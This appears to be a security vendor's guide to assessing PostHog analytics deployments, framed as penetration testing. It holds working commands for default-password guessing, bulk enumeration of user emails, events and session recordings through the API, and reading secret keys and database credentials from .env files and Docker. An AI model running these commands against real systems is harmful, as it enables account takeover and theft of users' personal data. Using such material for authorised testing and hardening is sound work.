PostHog is a widely deployed open-source product analytics platform used to capture user behavioral data, session recordings, feature flags, and A/B test results — it stores all user interaction data, identified user profiles with emails and properties, and potentially sensitive session recordings. Key assessment areas: SECRET_KEY is the Django secret key used for session signing; the personal API key provides access to all analytics data; ClickHouse stores all event data and session recordings; DATABASE_URL contains the PostgreSQL connection string; and session recordings may contain sensitive information including password fields that were not excluded from capture. This guide covers systematic PostHog security assessment.
# PostHog — authentication and API key testing
POSTHOG_URL="https://posthog.example.com"
# PostHog login
AUTH=$(curl -s -X POST "${POSTHOG_URL}/api/login" \
-H "Content-Type: application/json" \
-d '{"email":"admin@example.com","password":"admin"}' 2>/dev/null)
SESSION_TOKEN=$(echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(d.get('token','FAIL: '+str(list(d.keys()))))
" 2>/dev/null)
echo "Session: ${SESSION_TOKEN}"
# Personal API key — generated in Account Settings > Personal API Keys
# Provides full API access to all organization data
PERSONAL_API_KEY="phx_your_personal_api_key"
# Test API key and get current user
curl -s "${POSTHOG_URL}/api/users/@me/" \
-H "Authorization: Bearer ${PERSONAL_API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'User: {d.get(\"first_name\")} {d.get(\"last_name\")} ({d.get(\"email\")})')
print(f'org: {d.get(\"organization\",{}).get(\"name\")} role={d.get(\"organization\",{}).get(\"membership_level\")}')
" 2>/dev/null
# Try common admin passwords
for PASS in "admin" "posthog" "password" "changeme" "admin123"; do
STATUS=$(curl -s -X POST "${POSTHOG_URL}/api/login" \
-H "Content-Type: application/json" \
-d "{\"email\":\"admin@example.com\",\"password\":\"${PASS}\"}" 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print('OK' if 'token' in d else 'FAIL')" 2>/dev/null)
echo "admin@example.com/${PASS}: ${STATUS}"
done
# PostHog REST API — event, person, and session recording enumeration
POSTHOG_URL="https://posthog.example.com"
PERSONAL_API_KEY="phx_your_personal_api_key"
PROJECT_ID="1" # or your project ID
# List all captured events with user data
curl -s "${POSTHOG_URL}/api/projects/${PROJECT_ID}/events/?limit=20" \
-H "Authorization: Bearer ${PERSONAL_API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
results = d.get('results',[])
print(f'Events: {d.get(\"count\")} total, showing {len(results)}')
for e in results[:5]:
props = e.get('properties',{})
print(f' [{e.get(\"id\")}] event={e.get(\"event\")} user={props.get(\"\$user_id\",props.get(\"\$distinct_id\",\"\"))[:30]}')
if props.get('email'):
print(f' email={props[\"email\"]}')
" 2>/dev/null
# List all identified persons (users with emails)
curl -s "${POSTHOG_URL}/api/projects/${PROJECT_ID}/persons/?limit=20" \
-H "Authorization: Bearer ${PERSONAL_API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
results = d.get('results',[])
print(f'Persons: {d.get(\"count\")} total')
for p in results[:10]:
props = p.get('properties',{})
print(f' [{p.get(\"distinct_ids\",[\"?\"])[0][:20]}] email={props.get(\"email\",\"\")} name={props.get(\"name\",\"\")}')
" 2>/dev/null
# List all session recordings — may contain sensitive user interactions
curl -s "${POSTHOG_URL}/api/projects/${PROJECT_ID}/session_recordings/?limit=10" \
-H "Authorization: Bearer ${PERSONAL_API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
results = d.get('results',[])
print(f'Session recordings: {d.get(\"count\")} total')
for r in results[:5]:
print(f' [{r.get(\"id\")}] duration={r.get(\"recording_duration\")}s user={r.get(\"person\",{}).get(\"name\",\"\")} email={r.get(\"person\",{}).get(\"properties\",{}).get(\"email\",\"\")}')
" 2>/dev/null
# List all personal API keys in organization (admin)
curl -s "${POSTHOG_URL}/api/projects/${PROJECT_ID}/personal_api_keys/" \
-H "Authorization: Bearer ${PERSONAL_API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
keys = d.get('results',d) if isinstance(d,dict) else d
print(f'Personal API keys: {len(keys)}')
for k in keys[:10]:
print(f' [{k.get(\"id\")}] label={k.get(\"label\")} prefix={k.get(\"value\",\"\"[:10])} last_used={k.get(\"last_used_at\")}')
" 2>/dev/null
# PostHog database credential and event data extraction
# .env file — PostHog secrets
cat /app/.env 2>/dev/null | grep -E "SECRET_KEY|DATABASE_URL|CLICKHOUSE|REDIS|POSTHOG_SECRET"
# SECRET_KEY — Django secret key
# DATABASE_URL / POSTHOG_DB_* — PostgreSQL credentials
# CLICKHOUSE_HOST/USER/PASSWORD — ClickHouse event database credentials
# Docker environment variables
docker inspect posthog-web 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['SECRET','DATABASE','CLICKHOUSE','REDIS','PASSWORD','KEY']):
print(e)
" 2>/dev/null
# PostgreSQL access — PostHog metadata
psql "$DATABASE_URL" 2>/dev/null << 'EOF'
-- All users and their personal API key hashes
SELECT id, first_name, last_name, email, is_staff, is_active,
date_joined, last_login
FROM posthog_user
ORDER BY is_staff DESC, date_joined DESC
LIMIT 20;
EOF
# Personal API keys — stored as hashes but prefix may help identify
psql "$DATABASE_URL" 2>/dev/null << 'EOF'
SELECT pak.id, pak.label, pak.prefix, pak.secure_value,
u.email as owner_email, pak.created_at, pak.last_used_at
FROM posthog_personalapikey pak
JOIN posthog_user u ON pak.user_id = u.id
ORDER BY pak.last_used_at DESC
LIMIT 20;
EOF
# ClickHouse direct access — all event data
# ClickHouse stores all behavioral events and session recording data
clickhouse-client --host localhost \
--user default --password "${CLICKHOUSE_PASSWORD}" \
--database posthog 2>/dev/null \
--query "SELECT event, distinct_id, properties, created_at
FROM events
WHERE created_at > now() - INTERVAL 1 DAY
LIMIT 20"
# Session recording snapshots — may include sensitive form data
clickhouse-client --host localhost \
--user default --password "${CLICKHOUSE_PASSWORD}" \
--database posthog 2>/dev/null \
--query "SELECT session_id, window_id, distinct_id,
length(data) as data_size_bytes, created_at
FROM session_replay_events
ORDER BY created_at DESC
LIMIT 10"
maskAllInputs: true option; use maskInputFn to apply custom masking logic for sensitive fields; enable the block list for specific CSS selectors containing sensitive data; regularly audit a sample of session recordings to verify no sensitive data is captured; implement data retention policies to automatically delete recordings older than required| Security Test | Method | Risk |
|---|---|---|
| Session recording sensitive data exposure | GET /api/projects/{id}/session_recordings — all user session recordings; may contain unmasked password fields, credit card numbers, OTPs, and other sensitive inputs depending on masking configuration | Critical |
| Person profile and email enumeration | GET /api/projects/{id}/persons — all identified users with email addresses and behavioral properties; complete user PII database exportable via API | High |
| SECRET_KEY extraction and Django session forgery | Read .env SECRET_KEY — Django signing key; forge valid session cookies as any PostHog user bypassing password authentication | Critical |
| ClickHouse event data access | ClickHouse query on events table — all captured behavioral events with user identifiers and properties; complete analytics data including all user actions on connected applications | High |
| Personal API key extraction | PostgreSQL SELECT from posthog_personalapikey — key prefix and secure hash; active keys provide full org-level data access; expired or inactive keys visible in audit logs | High |
Ironimo tests PostHog deployments for SECRET_KEY Django session forgery, personal API key extraction and data access, session recording PII and sensitive data exposure, person profile email harvesting, event data bulk enumeration, ClickHouse credential extraction and event table access, PostgreSQL credential extraction, Docker environment variable exposure, session recording masking misconfiguration, and organization access control privilege testing.
Start free scan